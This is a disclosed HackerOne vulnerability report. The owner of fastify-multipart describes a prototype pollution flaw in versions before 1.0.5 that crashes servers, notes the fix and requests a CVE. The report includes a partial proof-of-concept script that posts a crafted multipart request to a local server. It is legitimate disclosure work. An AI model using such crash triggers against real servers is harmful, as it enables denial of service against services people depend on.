9 Prototype pollution in multipart parsing

Share:

TIMELINE

mcollina submitted a report to Node.js third-party modules. Feb 25th (3 years ago)

I would like to report a prototype pollution attack in fastify-multipart it allows to crash a remote server parsing multipart requests by sending a specially crafted request.

Module

module name: fastify-multipart
version: all versions before < v1.0.5. v1.0.5 contains the fix.
npm page: `https://www.npmjs.com/package/fastify-multipart`

Module Description

Fastify plugin to parse the multipart content-type.

Under the hood it uses busboy.

Module Stats

weekly downloads: 4900

Vulnerability

Vulnerability Description

Eran Hammer found this vulnerability for Hapi, he tested Fastify as well and found it vulnerable.
Here is the Hapi vulnerability report: https://www.npmjs.com/advisories/1479.

Steps To Reproduce:

> Detailed steps to reproduce with all required references/steps/commands. If there is any exploit code or reference to the package source code this is the place where it should be put.

Patch

This was already released in https://github.com/fastify/fastify-multipart/pull/116 and version 1.0.5 issued.

Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: Y
- I opened an issue in the related repository: N

I just need a CVE issued.

Impact

It's a Denial of Service attack

h1_analyst_caesar HackerOne triage changed the status to o Needs more info. Feb 26th (3 years ago)

Hello @mcollina and thanks for your report,

Do you mind sharing with us a code snippet to test it, so I can give a severity, or since you already contacted the owner you want me to send directly to the team?

Thanks!
@turtle_shell

mcollina changed the status to o New. Feb 26th (3 years ago)

I am the owner of this module. As I said, I just need a CVE.

Code 1.02 KiB Wrap lines Copy Download

```
1  const http = require('http')
2  const fastify = require('fastify')()
3  const options = {
4      addToBody: true,
5      onFile: (fieldName, stream, filename, encoding, mimetype, body) => {
6          stream.resume();
7      }
8  };
9  fastify.register(require('fastify-multipart'), options);
10  fastify.post('/', function (req, reply) {
11      console.log(req.body.toString());
12      reply.code(200).send();
13  });
14  fastify.listen(3000, () => {
15      console.log(`server listening on ${fastify.server.address().port}`)
16      const body =
17          '--AaB03x\r\n' +
```

```
        '... contents of file1.txt ...\r\r\n' +
        '--AaB03x--\r\n';
    const r = {
        hostname: 'localhost',
        port: 3000,
        path: '/',
        method: 'POST',
        headers: {
            'content-type': 'multipart/form-data; boundary=AaB03x'
        }
    };
    const req = http.request(r, (res) => { });
    req.write(body);
    req.end();
});
```

marcinhoppe Node.js third-party modules staff closed the report and changed the status to **Resolved**. Feb 28th (3 years ago)

marcinhoppe Node.js third-party modules staff requested to disclose this report. Feb 28th (3 years ago)

Let's disclose. I will request a CVE once it's disclosed.

mcollina agreed to disclose this report. Feb 28th (3 years ago)

This report has been disclosed. Feb 28th (3 years ago)